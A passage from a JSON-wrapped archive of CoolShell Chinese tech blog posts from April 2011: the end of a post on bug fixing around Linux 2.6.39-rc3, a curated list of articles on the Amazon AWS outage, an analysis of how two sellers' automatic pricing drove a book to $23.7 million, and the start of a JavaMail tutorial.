style=\"text-align: left;\">各位朋友，我真心希望你能从这个小插曲中明白点什么。</p>\n<p style=\"text-align: left;\"><strong>—– 更新2011/04/27</strong>—–</p>\n<p style=\"text-align: left;\">从本贴的回复中可以看到有朋友说如果时间紧，没有办法只能在不求甚解的地去fix bug，因为老板催。我认为这是老板的“急功近利”的问题。我想和大家说一下，你得想清楚你属于下面那种人：</p>\n<ol>\n<li>\n<div style=\"text-align: left;\">你的老板给你压力，让你不得不乱fix，</div>\n</li>\n<li>\n<div style=\"text-align: left;\">你认同只要时间紧bug是可以乱fix的。</div>\n</li>\n</ol>\n<p style=\"text-align: left;\">如果你属于1），那我觉得还情由可原，这是管理问题。但这不能成为你对乱fix bug的理由。一般这种问题怎么解决：<strong>首先，给一个hot fix去救火，然后，有时间去调查root cause，最后经过分析和测试，给出一个final 的 offical fix</strong>。这就是应急的做法，根本不存在什么可以乱fix bug的做法。</p>\n<p style=\"text-align: left;\">如果你属于2），那么我只能“过激”地说你没有成为程序员的资质！</p>\n<p>另外，<strong>快速地fix bug，并不等于，不求甚解的fix bug</strong>。大家不要把这两件事等同。</p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\"><span style=\"color: #cc0000; font-size: 14px;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4576.html\">Linux 2.6.39-rc3的一个插曲</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-27 关于Amazon云宕机的网贴收集.html",
    "content": "<html><body><p>最近，互联网上最大的事可能是Amazon的AWS宕机了，而且好几天都没有完全恢复。整个Internet都在讨论这个事，Internet很不高兴，后果可能很严重。可能是因为这个事件对中国没有影响，所以中文这边相关的文章不多，大家可以参考一下和讯网的这篇《<a href=\"http://tech.hexun.com/2011-04-24/128998619.html\" target=\"_blank\">伤不起！亚马逊史前最大宕机事件的启示</a>》。</p>\n<p>国外有人把所有和这个事件相关的贴子都收集了起来，都是一些相当不错的贴子和文章，尤其是一些经验教训的贴子，很受教，转给大家看看。这个贴子的<a href=\"http://highscalability.com/blog/2011/4/25/the-big-list-of-articles-on-the-amazon-outage.html\" target=\"_blank\">来源在这里</a>。</p>\n<h4>个别公司的经历，有好有坏</h4>\n<ul>\n<li><a href=\"http://status.heroku.com/incident/151\">How Heroku Survived the Amazon Outage</a> on the Heroku status page</li>\n<li><a href=\"http://developers.simplegeo.com/blog/2011/04/26/how-simplegeo-stayed-up/\">How SimpleGeo Stayed Up During the AWS Downtime</a> by Mike Malone</li>\n<li><a href=\"http://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse\">How SmugMug survived the Amazonpocalypse</a> by Don MacAskill  (<a href=\"http://news.ycombinator.com/item?id=2480763\">Hacker News</a> discussion)</li>\n<li><a href=\"http://dev.bizo.com/2011/04/how-bizo-survived-great-aws-outage-of.html\">How Bizo survived the Great AWS Outage of 2011 relatively unscathed…</a> by Someone at Bizo</li>\n<li><a href=\"http://www.focus.com/questions/information-technology/amazon-ec2-has-gone-down--what-would-prefered-hosting-be/#comment43192\">Joe Stump’s explanation</a> of how SimpleGeo survived</li>\n<li><a href=\"http://www.slideshare.net/adrianco/netflix-in-the-cloud-2011\">How Netflix Survived the Outage</a></li>\n<li><a href=\"http://www.twilio.com/engineering/2011/04/22/why-twilio-wasnt-affected-by-todays-aws-issues/\">Why Twilio Wasn’t Affected by Today’s AWS Issues</a> on Twilio Engineering’s Blog (<a href=\"http://news.ycombinator.com/item?id=2472999\">Hacker News</a> thread)</li>\n<li><a href=\"http://www.reddit.com/r/announcements/comments/gva4t/on_reddits_outage/#\">On reddit’s outage</a></li>\n<li><a href=\"http://www.quora.com/Quora-Outage-April-21-22-2011/What-caused-the-Quora-problems-outage-in-April-2011\">What caused the Quora problems/outage in April 2011?</a></li>\n<li><a href=\"http://tomatohater.com/2011/04/21/recovering-amazon-cloud-outage/\">Recovering from Amazon cloud outage</a> by Drew Engelson of PBS.\n<ul>\n<li>PBS was affected for a while primarily because we do use EBS-backed RDS databases. Despite being spread across multiple availability-zones, we weren’t easily able to launch new resources ANYWHERE in the East region since everyone else was trying to do the same. I ended up pushing the RDS stuff out West for the time being.  <a href=\"http://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse/#comment-4737\">From Comment</a></li>\n</ul>\n</li>\n</ul>\n<p><span id=\"more-4601\"></span></p>\n<h4>Amazon Web Services 讨论区</h4>\n<p>有一些有经验的人共享了很多相当不错的宕机的经历。</p>\n<ul>\n<li><a href=\"https://forums.aws.amazon.com/forum.jspa?forumID=30&amp;start=0\">Amazon Web Services Discussion Forum</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65860&amp;tstart=0\">Cost-effective backup plan from now on?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65649&amp;tstart=0\">Life of our patients is at stake – I am desperately asking you to contact</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65897&amp;tstart=0\"> Why did the EBS, RDS, Cloudformation, Cloudwatch and Beanstalk all fail?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65896&amp;tstart=0\">Moved all resources off of AWS</a></li>\n<li><a href=\"https://forums.aws.amazon.com/forum.jspa?forumID=30&amp;start=300\">Any success stories?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65784&amp;tstart=25\">Is the mass exodus from East going to cause demand problems in the West?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65828&amp;tstart=25\"> Finally back online after about 71 hours</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65834&amp;tstart=25\">Amazon EC2 features vs windows azure</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65221&amp;tstart=25\"> Aren’t Availability Zones supposed to be “insulated from failures”?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65850&amp;tstart=0\">What a lot of people aren’t realizing about the downtime:</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=32044&amp;tstart=50&amp;start=150\">ELB CNAME</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65457&amp;tstart=425\"> Availability Zones were used in a misleading manner</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65371&amp;tstart=325\">Tip: How to recover your instance</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65617&amp;tstart=325\">Crying in Forum Gets Results, Silver-level AWS Premium Support Doesn’t</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65780&amp;tstart=25\"> Well-worth reading: “design for failure” cloud deployment strategy</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65749&amp;tstart=25\">New best practice</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65136&amp;tstart=475\">Don’t bother with Premium Support</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65185&amp;tstart=450\">Best practices for multi-region redundancy</a></li>\n<li> “<a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65450&amp;tstart=175\">Postmortum</a>“</li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65513&amp;tstart=125\">Learning from this case</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65388&amp;tstart=525\"> Amazon, still no instructions what to do?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65338&amp;tstart=550\">Anyone else prepared for an all-nighter?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65811&amp;tstart=100\">Is Jeff Bezos going to give a public statement?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65857&amp;tstart=100\"> Rackspace, GoGrid, StormonDemand and Others</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65815&amp;tstart=150\">Jeff Barr, Werner Vogels and other AWS persons – where have you been???</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65168&amp;tstart=175\">After you guys fix EBS do I have do anything on my side?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65765&amp;tstart=225\"> Need Help!!! Lives of people and billions in revenue are at risk now!!!</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65678&amp;tstart=275\">I’ve Got A Suspicion</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65585&amp;tstart=325\"> Farewell EC2, Farewell</a></li>\n</ul>\n<p>There were also many many instances of support and help in the log.</p>\n<h4>总结</h4>\n<ul>\n<li><a href=\"http://blog.rightscale.com/2011/04/25/amazon-ec2-outage-summary-and-lessons-learned/\">Amazon EC2 outage: summary and lessons learned</a> by RightScale</li>\n<li><a href=\"http://www.randomhacks.net/articles/2011/04/25/aws-outage-timeline-and-recovery-strategy-downtimes\">AWS outage timeline &amp; downtimes by recovery strategy</a> by Eric Kidd</li>\n<li><a href=\"http://www.datacenterknowledge.com/archives/2011/04/25/the-aftermath-of-amazons-cloud-outage\">The Aftermath of Amazon’s Cloud Outage</a> by Rich Miller</li>\n</ul>\n<h4>立场：这是用户的错</h4>\n<ul>\n<li><a href=\"http://www.thestoragearchitect.com/2011/04/22/so-your-aws-based-application-is-down-dont-blame-amazon/\">So Your AWS-based Application is Down? Don’t Blame Amazon</a> by The Storage Architect</li>\n<li><a href=\"http://stu.mp/2011/04/the-cloud-is-not-a-silver-bullet.html\">The Cloud is not a Silver Bullet</a> by Joe Stump (<a href=\"http://news.ycombinator.com/item?id=2482581\">Hacker News</a> thread)</li>\n<li><a href=\"http://broadcast.oreilly.com/2011/04/the-aws-outage-the-clouds-shining-moment.html\">The AWS Outage: The Cloud’s Shining Moment</a> by George Reese (<a href=\"http://news.ycombinator.com/item?id=2477540\">Hacker News</a> discussion)</li>\n<li><a href=\"http://blog.acrowire.com/cloud-computing/failing-to-plan-is-planning-to-fail\">Failing to Plan is Planning to Fail</a> by Ted Theodoropoulos</li>\n<li><a href=\"http://groups.google.com/group/cloud-computing/browse_thread/thread/e8079a54e6a8c4b9/72756bf9e587869d?show_docid=72756bf9e587869d\">Get a life and build redundancy/resiliency in your apps</a> on the Cloud Computing group</li>\n</ul>\n<h4>立场：这是Amazon的错</h4>\n<ul>\n<li><a href=\"http://www.readwriteweb.com/cloud/2011/04/almost-as-galling-as-the.php\">Stop Blaming the Customers – the Fault is on Amazon Web Services</a> by Klint Finley</li>\n<li><a href=\"http://justinsb.posterous.com/aws-down-why-the-sky-is-falling\">AWS is down: Why the sky is falling</a> by Justin Santa Barbara  (<a href=\"http://news.ycombinator.com/item?id=2471899\">Hacker News</a> thread)</li>\n<li><a href=\"http://news.ycombinator.com/item?id=2469838\">Amazon Web Services are down</a> – Huge Hacker News thread</li>\n</ul>\n<h4>教训和启示</h4>\n<ul>\n<li><a href=\"http://smoothspan.wordpress.com/2011/04/23/people-using-amazon-cloud-get-some-cheap-insurance-at-least/\">People Using Amazon Cloud: Get Some Cheap Insurance At Least</a> by Bob Warfield</li>\n<li><a href=\"http://ronaldbradford.com/blog/basic-scalability-principles-to-avert-downtime-2011-04-23\">Basic scalability principles to avert downtime</a> by Ronald Bradford</li>\n<li><a href=\"http://www.itworld.com/cloud-computing/158517/amazon-crash-reveals-cloud-computing-actually-based-data-centers\">Amazon crash reveals ‘cloud’ computing actually based on data centers</a> by Kevin Fogarty</li>\n<li><a href=\"http://www.zdnet.com/blog/saas/seven-lessons-to-learn-from-amazons-outage/1296\">Seven lessons to learn from Amazon’s outage</a> By Phil Wainewright</li>\n<li><a href=\"http://www.cloudsigma.com/en/blog/2011/04/23/21-cloud-outages-lessons-learned\">The Cloud and Outages : Five Key Lessons</a> by Patrick Baillie (<a href=\"http://groups.google.com/group/cloud-computing/browse_thread/thread/6e9549afbff6386f/05919d8527c69a09?show_docid=05919d8527c69a09#\">Cloud Computing Group</a> discussion)</li>\n<li><a href=\"http://till.klampaeckel.de/blog/archives/151-Some-thoughts-on-outtages.html\">Some thoughts on outages</a> by Till Klampaeckel</li>\n<li><a href=\"http://www.geekwire.com/2011/amazoncoms-real-problem-outage-communication\">Amazon.com’s real problem isn’t the outage, it’s the communication</a> by Keith Smith</li>\n<li><a href=\"http://webmonkeyuk.wordpress.com/2011/04/21/how-to-work-around-amazon-ec2-outages/\">How to work around Amazon EC2 outages</a> by James Cohen (<a href=\"http://news.ycombinator.com/item?id=2471258\">Hacker News</a> thread)</li>\n<li><a href=\"http://agilesysadmin.net/ec2-outage-lessons\">Today’s EC2 / EBS Outage: Lessons learned</a> on Agile Sysadmin</li>\n<li><a href=\"http://www.focus.com/questions/information-technology/amazon-ec2-has-gone-down--what-would-prefered-hosting-be/\">Amazon EC2 has gone down -what would a prefered hosting platform be?</a> on Focus</li>\n<li><a href=\"http://cloudability.com/single-points-of-failure\">Single Points of Failure</a> by Mat</li>\n<li><a href=\"http://www.reddit.com/r/programming/comments/gvac7/coping_with_cloud_downtime_with_puppet/\">Coping with Cloud Downtime with Puppet</a></li>\n<li><a href=\"http://timcrawford.org/2011/04/21/amazon-outage-concerns-are-overblown/\">Amazon Outage Concerns Are Overblown</a> by Tim Crawford</li>\n<li><a href=\"http://claylo.com/post/4817029650/where-there-are-clouds-it-sometimes-rains\">Where There Are Clouds, It Sometimes Rains</a> by Clay Loveless</li>\n<li><a href=\"http://blog.learnboost.com/blog/availability-redundancy-and-failover-at-learnboost/\">Availability, redundancy, failover and data backups at LearnBoost </a> by Guillermo Rauch</li>\n<li><a href=\"http://chrischandler.name/the-real-cost-of-cloud-hosting\">Cloud hosting vs colocation</a> by Chris Chandler (<a href=\"http://news.ycombinator.com/item?id=2482123\">Hacker News</a> thread)</li>\n<li><a href=\"http://arnon.me/2011/04/amazons-ec2-ebs-outage/\">Amazon’s EC2 &amp; EBS outage</a> by Arnon Rotem-Gal-Oz</li>\n</ul>\n<h4>Vendor很生气</h4>\n<ul>\n<li><a href=\"http://www.productionscale.com/home/2011/4/22/on-clouds-and-spofs-or-the-great-aws-outage-of-april-2011.html#axzz1KZPTwX4z\">Amazon Outage Proves Value of Riak’s Vision</a> by Basho</li>\n<li><a href=\"http://joyeur.com/2011/04/24/magical-block-store-when-abstractions-fail-us/\">Magical Block Store: When Abstractions Fail Us</a> by Mark Joyent (<a href=\"http://news.ycombinator.com/item?id=2479613\">Hacker News</a> discussion)</li>\n<li><a href=\"http://joyeur.com/2011/04/22/on-cascading-failures-and-amazons-elastic-block-store/\">On Cascading Failures and Amazon’s Elastic Block Store</a> by Jason</li>\n<li><a href=\"http://cloudharmony.com/b/2011/04/unofficial-ec2-outage-postmortem-sky-is.html\">An unofficial EC2 outage postmortem – the sky is not falling</a> from CloudHarmony</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22422.html\"><img alt=\"是微服务架构不香还是云不香？\" height=\"150\" src=\"../wp-content/uploads/2023/05/monolith.microservices-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22422.html\">是微服务架构不香还是云不香？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17737.html\"><img alt=\"AWS 的 S3 故障回顾和思考\" height=\"150\" src=\"../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6142.html\"><img alt=\"三个事和三个问题\" height=\"150\" src=\"../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5901.html\"><img alt=\"腾讯，竞争力 和 用户体验\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5901.html\">腾讯，竞争力 和 用户体验</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4601.html\">关于Amazon云宕机的网贴收集</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-28 Amazon的书为什么卖到了$2000万.html",
    "content": "<html><body><p>最近，Amazon的新闻比较多，除了<a href=\"https://coolshell.cn/articles/4601.html\" target=\"_blank\" title=\"关于Amazon云宕机的网贴收集\">Amazon的云平台宕机</a>外，还有一个被热炒的新闻是在Amazon的书店里，有一本书要买$23,698,655.93美元，相当于1亿5千万人民币（如下图所示），这个事情是由UC Berkeley的生物学家Michael Eisen发现的，然后他在他的博客上写了<a href=\"http://www.michaeleisen.org/blog/?p=358\" target=\"_blank\" title=\"Amazon’s $23,698,655.93 book about flies\">一篇文章来说明这个事情</a>。</p>\n<p>这本书是1992年，现在绝版了，生物学家决定上Amazon找一下，结果看到了有两本新书，还有一些二手的，二手书价比较正常，但是那两个新书的价都上了百万。这个生物学家还写了邮件给原作者和原作者开了玩笑。呵呵。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"378\" src=\"../wp-content/uploads/2011/04/lawrence_1.png\" title=\"lawrence_1\" width=\"600\"/></p>\n<p>一般人可能就把这个事当成个笑话了，不过，教授就是教授，它还认真的研究了一下为什么会这样。</p>\n<p><span id=\"more-4605\"></span></p>\n<p>首先，这个不是Amazon的订价的问题，这是Amazon的第三方商户平台两个商户报价，一个商户叫profnath，另一个商户叫bordeebook。我们的生物学教授观察这两个商户的书价了几天，看到了下面的结果：</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"159\" src=\"../wp-content/uploads/2011/04/lawrence_prices1.png\" title=\"lawrence_prices1\" width=\"386\"/></p>\n<p>从上面的表中，我们可以看到，profnath商户的价格总是bordeebook的99.83%，而bordeebook的总是比profnath的高27.059%，很明显，这两个商户用的是程序在自动定价——“自动竞价”。</p>\n<ul>\n<li>profnath商户想把书买出去，所以，其订价要比最高价要低一些（99.83%），这个很容易理解。</li>\n<li>bordeebook商户为什么要比最高价要高1.27倍呢？合理的解释是，bordeebook并没有这本书，这个商户只是想用更多的选品来吸引买家，这样可以让人觉得他和竞争对手有一样多的选品。所以，他要把价订得高一点，这样就算是被人下单，他可以从别人手里把书买过来，然后再卖给卖家。27%的空间，够他赚了。</li>\n</ul>\n<p>因为两个商户订的比例不一样，所以，这两个商户的自动订价系统就成了相互涨价的程序——profnath以差0.17%差价跟上，而bordeebook以27%的幅度甩开，profnth再跟上，bordeebook再甩开……。于是最后的价格就到了$23,698,655.93美金。呵呵。</p>\n<p>下面，我说说我的收获——</p>\n<ul>\n<li><strong>能力</strong>：我非常欣赏这位生物学教授的求甚解的态度，这和<a href=\"https://coolshell.cn/articles/4576.html\" target=\"_blank\" title=\"Linux 2.6.39-rc3的一个插曲\">Linus要求其团队成员的能力</a>如出一辙。赞一个！</li>\n<li><strong>商业</strong>：从这两个商户的行为看到了一种相反的商业技巧。profnath 和 bordeebook  都是聪明的商家。</li>\n<li><strong>电商</strong>：自动定价系统可能会成为未来电子商务的一个重要的方向。电子商务还有很多东西可以做啊。</li>\n<li><strong>程序</strong>：程序设计中需要加上边界条件，最高值和最低值（当然，我能理解为什么这两个商户没有回，因为不同的商品价格差得太大，也许他们也在卖一些几百万的商品）。</li>\n</ul>\n<p>最后，这本书的网址在这里《<a href=\"http://www.amazon.com/gp/offer-listing/0632030488/ref=dp_olp_0?ie=UTF8&amp;redirect=true&amp;qid=1303712892&amp;sr=8-1&amp;condition=all\" target=\"_blank\">The Making of a Fly: The Genetics of Animal Design</a>》，你可以看到价格又在攀升了，昨天我看的是200多美，我写这篇文章此时的价格是近1000美金了。呵呵。</p>\n<p>（全文完）</p>\n<p><span style=\"color: #cc0000; font-size: 14px;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6470.html\"><img alt=\"由12306.cn谈谈网站性能技术 \" height=\"150\" src=\"../wp-content/uploads/2012/01/12306-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6470.html\">由12306.cn谈谈网站性能技术 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6142.html\"><img alt=\"三个事和三个问题\" height=\"150\" src=\"../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4605.html\">Amazon的书为什么卖到了$2000万</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-6 JavaMail使用.html",
    "content": "<html><body><p>（<strong>本文由网友jjzhx_1211投递，感谢!</strong>）</p>\n<p>使用JavaMail需要两个包：activation-1.1.jar和mail-1.4.2.jar（当然现在最新的版本已经不止了），也可以直接包含Java SE 6的j2ee.jar，自带了前面的两个包。我把邮件功能写成了一个服务，发送邮件的数据都通过Map&lt;String, String&gt;类型的参数封装了起来。<strong>代码见文章最后</strong>。</p>\n<h4>Session</h4>\n<p>Session 定义了一个基本的邮件会话，任何工作都是基于这个Session的。Session 对象需要一个 java.util.Properties 对象来得到类似 邮件服务器，用户名，密码这样的信息。Session 的构造函数是私有的，可以通过 getDefaultInstance() 方法来取得一个单一的可以被共享的默认session 如：</p>\n<pre class=\"EnlighterJSRAW\">Properties props = new Properties();\nSession session = Session.getDefaultInstance(props,null);</pre>\n<p>或者，可以使用 getInstance() 方法来创建一个唯一的 session如：</p>\n<pre class=\"EnlighterJSRAW\">Properties props = new Properties();\nSession session = Session.getInstance(props,null);</pre>\n<p>在这两种方法中 其中的 null 参数是一个 Authenticator 对象，在这里没有被使用的，所以就是null。在大多数案例中，使用一个共享session 已经做够了。</p>\n<p><span id=\"more-4261\"></span></p>\n<h4>Message</h4>\n<p>一旦你创建了Session对象，那么下面要做的就是创建message来发送。Message是一个抽象类，在大部分应用中你可以使用它的子类javax.mail.internet.MimeMessage 。MimeMessage 